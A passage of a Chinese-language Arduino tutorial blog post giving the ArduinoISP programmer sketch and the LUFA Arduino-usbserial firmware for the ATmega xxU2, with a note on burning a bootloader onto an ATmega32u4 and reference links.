remaining);   return STK_OK; } // write (length) bytes, (start) is a byte address uint8_t write_eeprom_chunk(unsigned int start, unsigned int length) {   // this writes byte-by-byte,   // page writing may be faster (4 bytes at a time)   fill(length);   prog_lamp(LOW);   for (unsigned int x = 0; x < length; x++) {     unsigned int addr = start + x;     spi_transaction(0xC0, (addr >> 8) & 0xFF, addr & 0xFF, buff[x]);     delay(45);   }   prog_lamp(HIGH);   return STK_OK; }  void program_page() {   char result = (char) STK_FAILED;   unsigned int length = 256 * getch();   length += getch();   char memtype = getch();   // flash memory @here, (length) bytes   if (memtype == 'F') {     write_flash(length);     return;   }   if (memtype == 'E') {     result = (char)write_eeprom(length);     if (CRC_EOP == getch()) {       SERIAL.print((char) STK_INSYNC);       SERIAL.print(result);     } else {       error++;       SERIAL.print((char) STK_NOSYNC);     }     return;   }   SERIAL.print((char)STK_FAILED);   return; }  uint8_t flash_read(uint8_t hilo, unsigned int addr) {   return spi_transaction(0x20 + hilo * 8,                          (addr >> 8) & 0xFF,                          addr & 0xFF,                          0); }  char flash_read_page(int length) {   for (int x = 0; x < length; x += 2) {     uint8_t low = flash_read(LOW, here);     SERIAL.print((char) low);     uint8_t high = flash_read(HIGH, here);     SERIAL.print((char) high);     here++;   }   return STK_OK; }  char eeprom_read_page(int length) {   // here again we have a word address   int start = here * 2;   for (int x = 0; x < length; x++) {     int addr = start + x;     uint8_t ee = spi_transaction(0xA0, (addr >> 8) & 0xFF, addr & 0xFF, 0xFF);     SERIAL.print((char) ee);   }   return STK_OK; }  void read_page() {   char result = (char)STK_FAILED;   int length = 256 * getch();   length += getch();   char memtype = getch();   if (CRC_EOP != getch()) {     error++;     SERIAL.print((char) STK_NOSYNC);     return;   }   SERIAL.print((char) STK_INSYNC);   if (memtype == 'F') result = flash_read_page(length);   if (memtype == 'E') result = eeprom_read_page(length);   SERIAL.print(result); }  void read_signature() {   if (CRC_EOP != getch()) {     error++;     SERIAL.print((char) STK_NOSYNC);     return;   }   SERIAL.print((char) STK_INSYNC);   uint8_t high = spi_transaction(0x30, 0x00, 0x00, 0x00);   SERIAL.print((char) high);   uint8_t middle = spi_transaction(0x30, 0x00, 0x01, 0x00);   SERIAL.print((char) middle);   uint8_t low = spi_transaction(0x30, 0x00, 0x02, 0x00);   SERIAL.print((char) low);   SERIAL.print((char) STK_OK); } ////////////////////////////////////////// //////////////////////////////////////////   //////////////////////////////////// //////////////////////////////////// void avrisp() {   uint8_t ch = getch();   switch (ch) {     case '0': // signon       error = 0;       empty_reply();       break;     case '1':       if (getch() == CRC_EOP) {         SERIAL.print((char) STK_INSYNC);         SERIAL.print("AVR ISP");         SERIAL.print((char) STK_OK);       }       else {         error++;         SERIAL.print((char) STK_NOSYNC);       }       break;     case 'A':       get_version(getch());       break;     case 'B':       fill(20);       set_parameters();       empty_reply();       break;     case 'E': // extended parameters - ignore for now       fill(5);       empty_reply();       break;     case 'P':       if (!pmode)         start_pmode();       empty_reply();       break;     case 'U': // set address (word)       here = getch();       here += 256 * getch();       empty_reply();       break;      case 0x60: //STK_PROG_FLASH       getch(); // low addr       getch(); // high addr       empty_reply();       break;     case 0x61: //STK_PROG_DATA       getch(); // data       empty_reply();       break;      case 0x64: //STK_PROG_PAGE       program_page();       break;      case 0x74: //STK_READ_PAGE 't'       read_page();       break;      case 'V': //0x56       universal();       break;     case 'Q': //0x51       error = 0;       end_pmode();       empty_reply();       break;      case 0x75: //STK_READ_SIGN 'u'       read_signature();       break;      // expecting a command, not CRC_EOP     // this is how we can get back in sync     case CRC_EOP:       error++;       SERIAL.print((char) STK_NOSYNC);       break;      // anything else we will return STK_UNKNOWN     default:       error++;       if (CRC_EOP == getch())         SERIAL.print((char)STK_UNKNOWN);       else         SERIAL.print((char)STK_NOSYNC);   } } 

使用USB将程序下载到arduino uno中,此时arduino uno就具备将bootloader通过模拟iscp烧写到mega32u4中的能力了

2. atmegaxxu2 bootloader

 /*              LUFA Library      Copyright (C) Dean Camera, 2010.                  dean [at] fourwalledcubicle [dot] com       www.fourwalledcubicle.com */  /*   Copyright 2010  Dean Camera (dean [at] fourwalledcubicle [dot] com)    Permission to use, copy, modify, distribute, and sell this    software and its documentation for any purpose is hereby granted   without fee, provided that the above copyright notice appear in    all copies and that both that the copyright notice and this   permission notice and warranty disclaimer appear in supporting    documentation, and that the name of the author not be used in    advertising or publicity pertaining to distribution of the    software without specific, written prior permission.    The author disclaim all warranties with regard to this   software, including all implied warranties of merchantability   and fitness.  In no event shall the author be liable for any   special, indirect or consequential damages or any damages   whatsoever resulting from loss of use, data or profits, whether   in an action of contract, negligence or other tortious action,   arising out of or in connection with the use or performance of   this software. */  /** /file  *  *  Main source file for the Arduino-usbserial project. This file contains the main tasks of  *  the project and is responsible for the initial application hardware configuration.  */  #include "Arduino-usbserial.h"  /** Circular buffer to hold data from the host before it is sent to the device via the serial port. */ RingBuff_t USBtoUSART_Buffer;  /** Circular buffer to hold data from the serial port before it is sent to the host. */ RingBuff_t USARTtoUSB_Buffer;  /** Pulse generation counters to keep track of the number of milliseconds remaining for each pulse type */ volatile struct {     uint8_t TxLEDPulse; /**< Milliseconds remaining for data Tx LED pulse */     uint8_t RxLEDPulse; /**< Milliseconds remaining for data Rx LED pulse */     uint8_t PingPongLEDPulse; /**< Milliseconds remaining for enumeration Tx/Rx ping-pong LED pulse */ } PulseMSRemaining;  /** LUFA CDC Class driver interface configuration and state information. This structure is  *  passed to all CDC Class driver functions, so that multiple instances of the same class  *  within a device can be differentiated from one another.  */ USB_ClassInfo_CDC_Device_t VirtualSerial_CDC_Interface =     {         .Config =              {                 .ControlInterfaceNumber         = 0,                  .DataINEndpointNumber           = CDC_TX_EPNUM,                 .DataINEndpointSize             = CDC_TXRX_EPSIZE,                 .DataINEndpointDoubleBank       = false,                  .DataOUTEndpointNumber          = CDC_RX_EPNUM,                 .DataOUTEndpointSize            = CDC_TXRX_EPSIZE,                 .DataOUTEndpointDoubleBank      = false,                  .NotificationEndpointNumber     = CDC_NOTIFICATION_EPNUM,                 .NotificationEndpointSize       = CDC_NOTIFICATION_EPSIZE,                 .NotificationEndpointDoubleBank = false,             },     };  /** Main program entry point. This routine contains the overall program flow, including initial  *  setup of all components and the main program loop.  */ int main(void) {     SetupHardware();          RingBuffer_InitBuffer(&USBtoUSART_Buffer);     RingBuffer_InitBuffer(&USARTtoUSB_Buffer);      sei();      for (;;)     {         /* Only try to read in bytes from the CDC interface if the transmit buffer is not full */         if (!(RingBuffer_IsFull(&USBtoUSART_Buffer)))         {             int16_t ReceivedByte = CDC_Device_ReceiveByte(&VirtualSerial_CDC_Interface);              /* Read bytes from the USB OUT endpoint into the USART transmit buffer */             if (!(ReceivedByte < 0))               RingBuffer_Insert(&USBtoUSART_Buffer, ReceivedByte);         }                  /* Check if the UART receive buffer flush timer has expired or the buffer is nearly full */         RingBuff_Count_t BufferCount = RingBuffer_GetCount(&USARTtoUSB_Buffer);         if ((TIFR0 & (1 << TOV0)) || (BufferCount > BUFFER_NEARLY_FULL))         {             TIFR0 |= (1 << TOV0);              if (USARTtoUSB_Buffer.Count) {                 LEDs_TurnOnLEDs(LEDMASK_TX);                 PulseMSRemaining.TxLEDPulse = TX_RX_LED_PULSE_MS;             }              /* Read bytes from the USART receive buffer into the USB IN endpoint */             while (BufferCount--)               CDC_Device_SendByte(&VirtualSerial_CDC_Interface, RingBuffer_Remove(&USARTtoUSB_Buffer));                            /* Turn off TX LED(s) once the TX pulse period has elapsed */             if (PulseMSRemaining.TxLEDPulse && !(--PulseMSRemaining.TxLEDPulse))               LEDs_TurnOffLEDs(LEDMASK_TX);              /* Turn off RX LED(s) once the RX pulse period has elapsed */             if (PulseMSRemaining.RxLEDPulse && !(--PulseMSRemaining.RxLEDPulse))               LEDs_TurnOffLEDs(LEDMASK_RX);         }                  /* Load the next byte from the USART transmit buffer into the USART */         if (!(RingBuffer_IsEmpty(&USBtoUSART_Buffer))) {           Serial_TxByte(RingBuffer_Remove(&USBtoUSART_Buffer));                              LEDs_TurnOnLEDs(LEDMASK_RX);             PulseMSRemaining.RxLEDPulse = TX_RX_LED_PULSE_MS;         }                  CDC_Device_USBTask(&VirtualSerial_CDC_Interface);         USB_USBTask();     } }  /** Configures the board hardware and chip peripherals for the demo's functionality. */ void SetupHardware(void) {     /* Disable watchdog if enabled by bootloader/fuses */     MCUSR &= ~(1 << WDRF);     wdt_disable();      /* Hardware Initialization */     Serial_Init(9600, false);     LEDs_Init();     USB_Init();      /* Start the flush timer so that overflows occur rapidly to push received bytes to the USB interface */     TCCR0B = (1 << CS02);          /* Pull target /RESET line high */     AVR_RESET_LINE_PORT |= AVR_RESET_LINE_MASK;     AVR_RESET_LINE_DDR  |= AVR_RESET_LINE_MASK; }  /** Event handler for the library USB Configuration Changed event. */ void EVENT_USB_Device_ConfigurationChanged(void) {     CDC_Device_ConfigureEndpoints(&VirtualSerial_CDC_Interface); }  /** Event handler for the library USB Unhandled Control Request event. */ void EVENT_USB_Device_UnhandledControlRequest(void) {     CDC_Device_ProcessControlRequest(&VirtualSerial_CDC_Interface); }  /** Event handler for the CDC Class driver Line Encoding Changed event.  *  *  /param[in] CDCInterfaceInfo  Pointer to the CDC class interface configuration structure being referenced  */ void EVENT_CDC_Device_LineEncodingChanged(USB_ClassInfo_CDC_Device_t* const CDCInterfaceInfo) {     uint8_t ConfigMask = 0;      switch (CDCInterfaceInfo->State.LineEncoding.ParityType)     {         case CDC_PARITY_Odd:             ConfigMask = ((1 << UPM11) | (1 << UPM10));                     break;         case CDC_PARITY_Even:             ConfigMask = (1 << UPM11);                     break;     }      if (CDCInterfaceInfo->State.LineEncoding.CharFormat == CDC_LINEENCODING_TwoStopBits)       ConfigMask |= (1 << USBS1);      switch (CDCInterfaceInfo->State.LineEncoding.DataBits)     {         case 6:             ConfigMask |= (1 << UCSZ10);             break;         case 7:             ConfigMask |= (1 << UCSZ11);             break;         case 8:             ConfigMask |= ((1 << UCSZ11) | (1 << UCSZ10));             break;     }      /* Must turn off USART before reconfiguring it, otherwise incorrect operation may occur */     UCSR1B = 0;     UCSR1A = 0;     UCSR1C = 0;      /* Special case 57600 baud for compatibility with the ATmega328 bootloader. */         UBRR1  = (CDCInterfaceInfo->State.LineEncoding.BaudRateBPS == 57600)              ? SERIAL_UBBRVAL(CDCInterfaceInfo->State.LineEncoding.BaudRateBPS)              : SERIAL_2X_UBBRVAL(CDCInterfaceInfo->State.LineEncoding.BaudRateBPS);          UCSR1C = ConfigMask;     UCSR1A = (CDCInterfaceInfo->State.LineEncoding.BaudRateBPS == 57600) ? 0 : (1 << U2X1);     UCSR1B = ((1 << RXCIE1) | (1 << TXEN1) | (1 << RXEN1)); }  /** ISR to manage the reception of data from the serial port, placing received bytes into a circular buffer  *  for later transmission to the host.  */ ISR(USART1_RX_vect, ISR_BLOCK) {     uint8_t ReceivedByte = UDR1;      if (USB_DeviceState == DEVICE_STATE_Configured)       RingBuffer_Insert(&USARTtoUSB_Buffer, ReceivedByte); }  /** Event handler for the CDC Class driver Host-to-Device Line Encoding Changed event.  *  *  /param[in] CDCInterfaceInfo  Pointer to the CDC class interface configuration structure being referenced  */ void EVENT_CDC_Device_ControLineStateChanged(USB_ClassInfo_CDC_Device_t* const CDCInterfaceInfo) {     bool CurrentDTRState = (CDCInterfaceInfo->State.ControlLineStates.HostToDevice & CDC_CONTROL_LINE_OUT_DTR);      if (CurrentDTRState)       AVR_RESET_LINE_PORT &= ~AVR_RESET_LINE_MASK;     else       AVR_RESET_LINE_PORT |= AVR_RESET_LINE_MASK; } 

Relevant Link:

 http://fourwalledcubicle.com/files/LUFA/Doc/130901/html/group___group___u_s_b_class_c_d_c_device.html#gaf02a74dffdcde55f4e522989e2ed49c1 http://www.fourwalledcubicle.com/files/LUFA/Doc/120730/html/group___group___u_s_b_class_c_d_c_device.html http://forum.arduino.cc/index.php/topic,51819.0.html http://www.arduino.cn/thread-1245-1-1.html  http://www.geek-workshop.com/forum.php?mod=viewthread&tid=4694 http://www.geek-workshop.com/thread-122-1-1.html http://www.geek-workshop.com/forum.php?mod=viewthread&tid=4694 

Copyright (c) 2016 LittleHann All rights reserved

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » Arduino、bootloader、及其相关硬件知识入门学习

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址